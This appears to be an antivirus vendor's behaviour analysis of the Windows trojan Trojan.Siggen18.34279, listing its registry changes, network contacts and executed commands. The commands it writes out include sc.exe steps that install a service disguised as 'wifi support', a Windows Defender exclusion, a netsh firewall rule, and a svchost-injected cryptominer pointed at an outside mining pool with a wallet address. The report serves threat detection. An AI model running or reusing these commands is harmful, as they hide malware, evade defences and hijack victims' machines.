Trojan.Siggen18.34279

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\vtfufrlo] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\vtfufrlo] 'ImagePath' = '%WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\vtfufrlo] 'ImagePath' = '%WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe'

Creates the following services

'vtfufrlo' %WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe /d"<Full path to file>"
'vtfufrlo' %WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\vtfufrlo' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\xnycowcl.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\xnycowcl.exe to %WINDIR%\syswow64\vtfufrlo\xnycowcl.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx##.mail.com':25
'as##.###widegroup.com.au':25
'ak#f.in':443
'mx#.##ailsrvr.com':25
'fa###ool.xyz':10060
'cx#.##.#.cloudfilter.net':25
'sp##.#ctvohio.com':25
'mx##.schlund.de':25
'sp#####an.acredding.com':25
'mx.#len.pl':25
'mx######a9a01.pphosted.com':25
'mx##.###us-vadesecure.net':25
'mx.####iciodecorreo.es':25
'mx####.##il.gm0.yahoodns.net':25
'mx.######mail.rediff.akadns.net':25
'mx#.##curemx.biz':25
'sm####.laposte.net':25
'mx.##.#tinternet.com':25
'em##.freenet.de':25
'mx######91d01.pphosted.com':25
'mx##.#lackberry.com':25
'mx##.##il.icloud.com':25
'mx##.#-online.de':25
'aspmx.l.google.com':25
'80.##.75.254':484
'al######x-vip2.prodigy.net':25
'31.##.244.126':420
'31.##.244.82':420
'31.##.244.127':420
'80.#6.75.4':420
'31.##.244.128':420
'31.##.244.85':420
'google.com':80
'sv####lfheim.top':443
'am###n.co.uk':443
'mx#######-1.asimonetworks.com':25
'mx#######501.gslb.pphosted.com':25
'mx#.#anmail.net':25
'as###.daum.net':25
'ff######x-vip2.prodigy.net':25
'10#.#5.71.108':443
'es#.#entene.com':25
'im####.netvigator.com':25
'google.com':443
'in###gram.com':443
'um####ldwide.com':443
'mx.###zta.onet.pl':25

TCP

HTTP GET requests

http://www.google.com/
http://www.google.com/ncr

Other

'sv####lfheim.top':443
'um####ldwide.com':443
'mx.##.#tinternet.com':25
'mx#.##curemx.biz':25
'mx.######mail.rediff.akadns.net':25
'mx####.##il.gm0.yahoodns.net':25
'mx.####iciodecorreo.es':25
'sp##.#ctvohio.com':25
'as##.###widegroup.com.au':25
'fa###ool.xyz':10060
'mx#.##ailsrvr.com':25
'ak#f.in':443
'sp#####an.acredding.com':25
'aspmx.l.google.com':25
'google.com':443
'ff######x-vip2.prodigy.net':25
'10#.#5.71.108':443
'mx#######-1.asimonetworks.com':25
'as###.daum.net':25
'in###gram.com':443
'mx#.#anmail.net':25
'al######x-vip2.prodigy.net':25
'am###n.co.uk':443
'31.##.244.85':420
'31.##.244.127':420
'31.##.244.82':420
'31.##.244.128':420
'80.#6.75.4':420
'31.##.244.126':420
'80.##.75.254':484
'sm####.laposte.net':25
'mx.###zta.onet.pl':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK bl###berry.com
DNS ASK mx######91d01.pphosted.com
DNS ASK at#.com
DNS ASK mx######a9a01.pphosted.com
DNS ASK ga###otel.com
DNS ASK mx##.schlund.de
DNS ASK cr###ity.com
DNS ASK pe###epc.com
DNS ASK mx##.#lackberry.com
DNS ASK sp##.#ctvohio.com
DNS ASK mc###hio.com
DNS ASK fa###ool.xyz
DNS ASK mx#.##ailsrvr.com
DNS ASK al###ytel.com
DNS ASK ak#f.in
DNS ASK as##.###widegroup.com.au
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK as###.daum.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK on#t.pl
DNS ASK um####ldwide.com
DNS ASK em##.freenet.de
DNS ASK fr##net.de
DNS ASK mx.##.#tinternet.com
DNS ASK bt###ernet.com
DNS ASK sm####.laposte.net
DNS ASK la##ste.net
DNS ASK cs.com
DNS ASK mx#.##curemx.biz
DNS ASK ge####senergy.co.nz
DNS ASK ea###link.net
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK re###fmail.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ve##zon.net
DNS ASK mx.####iciodecorreo.es
DNS ASK ne###nbay.com
DNS ASK co#.net
DNS ASK ma##.com
DNS ASK mx##.mail.com
DNS ASK do##or.com
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK am###trade.com
DNS ASK mx#######-1.asimonetworks.com
DNS ASK co#.nl
DNS ASK in###gram.com
DNS ASK am###n.co.uk
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK mx#.#anmail.net
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK google.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK al######x-vip2.prodigy.net
DNS ASK at#.net
DNS ASK sv####lfheim.top
DNS ASK mx.###zta.onet.pl
DNS ASK fu####ionesys.com
DNS ASK ha##ir.com
DNS ASK ff######x-vip2.prodigy.net
DNS ASK da##.net
DNS ASK mx.#len.pl
DNS ASK o2.pl
DNS ASK sp#####an.acredding.com
DNS ASK ca##cro.com
DNS ASK fb###asso.org
DNS ASK mx##.##il.icloud.com
DNS ASK me.com
DNS ASK mx##.#-online.de
DNS ASK t-##line.de
DNS ASK aspmx.l.google.com
DNS ASK va####andonk.com
DNS ASK ha##ail.net
DNS ASK im####.netvigator.com
DNS ASK ne###gator.com
DNS ASK es#.#entene.com
DNS ASK ua##.com
DNS ASK sw##ll.net
DNS ASK ma##nes.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\vtfufrlo\xnycowcl.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vtfufrlo\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xnycowcl.exe" %WINDIR%\SysWOW64\vtfufrlo\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create vtfufrlo binPath= "%WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description vtfufrlo "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start vtfufrlo' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\vtfufrlo\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xnycowcl.exe" %WINDIR%\SysWOW64\vtfufrlo\
'%WINDIR%\syswow64\sc.exe' create vtfufrlo binPath= "%WINDIR%\SysWOW64\vtfufrlo\xnycowcl.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description vtfufrlo "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start vtfufrlo
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial